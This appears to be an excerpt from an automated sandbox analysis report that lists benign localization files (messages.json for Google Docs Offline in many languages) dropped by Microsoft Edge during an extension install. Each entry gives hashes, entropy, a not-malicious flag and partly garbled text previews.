Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
